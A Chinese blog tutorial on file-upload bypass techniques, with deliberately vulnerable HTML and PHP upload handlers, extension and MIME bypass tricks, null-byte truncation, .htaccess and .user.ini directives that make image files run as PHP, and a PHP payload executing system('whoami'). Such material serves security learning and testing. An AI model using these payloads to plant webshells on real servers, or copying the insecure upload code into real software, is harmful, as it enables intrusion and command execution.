文件上传的一些基础绕过

1.绕过客户端
禁用js代码即可

点击查看代码
<!DOCTYPE html>
<html>
<head>
    <title>不安全的文件上传</title>
</head>
<body>
    <h2>上传你的头像(仅限图片)</h2>

    <!-- 只有客户端验证的表单 -->
    <form id="uploadForm" onsubmit="return validateFile()">
        <input type="file" id="fileInput" accept=".jpg,.png">
        <button type="submit">上传</button>
    </form>

    <script>
        function validateFile() {
            const file = document.getElementById('fileInput').files[0];
            if (!file) {
                alert('请选择文件');
                return false;
            }
            if (!file.name.endsWith('.jpg') && !file.name.endsWith('.png')) {
                alert('只允许.jpg 和.png 文件');
                return false;
            }
            alert('文件验证通过!');
            return true;
        }
    </script>
</body>
</html>
先传后修改。 2.绕过服务端 1)MIME 服务端代码 [
点击查看代码
<?php
if(isset($_FILES['file'])) {
    $allowed_mime = ['image/jpeg', 'image/png'];
    $file_mime = $_FILES['file']['type'];

    if(in_array($file_mime, $allowed_mime)) {
        $upload_path = 'uploads/' . basename($_FILES['file']['name']);
        move_uploaded_file($_FILES['file']['tmp_name'], $upload_path);
        echo "文件上传成功: " . htmlspecialchars($_FILES['file']['name']);
    } else {
        echo "错误: 只允许 JPEG 和 PNG 图片";
    }
  }
    ?>

抓包,修改Content-Type。

2)文件后缀绕过

后缀大小写绕过(Php)
空格绕过(php )
点绕过(php.)
::$DATA绕过(php::$DATA)
.htaccess绕过
原理:当前目及其子目录httpd-conf 是 Apache 的系统配置文件,一个全局的配置文件,对整个 web 服务起作用;而.htaccess 也是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用,改变当前目录以及子目录的apache配置信息
写入:

点击查看代码
AddType application/x-httpd-php .gif
.gif为后缀的文件都可被解析为php 或者
点击查看代码
<FilesMatch "xxx.png">
SetHandler application/x-httpd-php
</FilesMatch>
xxx.png可被当作php脚本解析

.user.ini
.user,它会影响php.ini中的配置,从而将指定的文件内容按php来解析,影响的范围该文件所在的目录以及子目录。需要等待php.ini中的user_ini.cache_ttl设置的时间或重启Apache才能生效,且只在php5.3.0之后的版本才生效。.user.ini比.hta用的更广,不管是nginx/Apache/IIS,只要是以fastcgi运行的php都可以用这个办法。如果使用Apache,则用.htaccess文件有同样的效果。
注意:.htaccess只能用于Apache。
传入

点击查看代码
auto_prepend_file = xxx.jpg
再传入
点击查看代码
<script language='php'>system('whoami');</script>
如果在上传目录中还有一个可执行的php文件,访问php文件,就达到了执行系统命令的效果。 以上都为黑名单,下面来讲白名单。白名单就是文件后缀不在白名单中即为违法。 >%00截断;0X00截断 这两个其实被解析之后都是一个东西:chr(0); 服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析; 对照ASCll表可知0对应的是NULL,而当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
点击查看代码
<?php
$saveDir = 'images/';
$fileName = $_GET['filename']; 
$uploadFile = $saveDir . $fileName; 
$allowedExt = ['jpg', 'png', 'jpeg'];
$ext = pathinfo($uploadFile, PATHINFO_EXTENSION);
if (in_array($ext, $allowedExt)) {
    file_put_contents($uploadFile, '恶意内容'); 
    echo '上传“成功”,保存路径:' . $uploadFile;
} else {
    echo '错误:仅允许图片后缀';
}
%00和0x00的使用区别在于提交get请求时,是%00,会进行url自动解码动作,然后进入验证函数。0x00则是post请求直接进入验证函数。

3)文件内容检测
添加文件头和copy制作图片马。

posted on 2025-06-16 20:31  violet1  阅读(138)  评论(0)    收藏  举报

导航